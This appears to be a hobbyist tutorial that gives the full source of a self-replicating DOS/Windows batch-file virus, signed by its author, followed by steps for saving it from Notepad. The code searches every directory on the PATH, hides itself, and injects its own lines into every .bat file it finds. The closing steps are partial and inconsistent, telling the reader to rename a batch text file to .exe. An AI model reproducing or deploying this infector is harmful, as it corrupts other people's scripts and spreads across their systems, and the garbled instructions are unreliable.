code:@echo off>nul.ViRuS
if ?%1==?/ViRuS_MULTIPLY goto ViRuS_multiply
if ?%1==?/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
if ?%1==?/ViRuS_FINDSELF goto ViRuS_findself
if ?%VOFF%==?T goto ViRuS_OLDBAT
set ViRuSname=%0
if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
if not exist %ViRuSname%.bat set ViRuSname=
if ?%ViRuSname%==? goto ViRuS_OLDBAT
rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it?s a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append /x:on path (chance=minimal)
attrib +h %ViRuSname%.bat
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
attrib -h %ViRuSname%.bat
set ViRuSname=
goto ViRuS_OLDBAT
:ViRuS_findself
if ?%2==? goto XXX_END>nul.ViRuS
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
shift>nul.ViRuS
goto ViRuS_findself
:ViRuS_outer_loop
for %%a in (%2*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS
:ViRuS_multiply
find ?ViRuS? <%ViRuSname%.bat >xViRuSx.bat
find /v ?ViRuS? <%2 |find /v ?:XXX_END? >>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS
:ViRuS_OLDBAT
echo on>nul.ViRuS
echo This Virus Is Made By bystwn22.
:XXX_END

3. Save it as virus.txt
4. Close Notepad.
5. Now rename the virus.txt to virus.exe
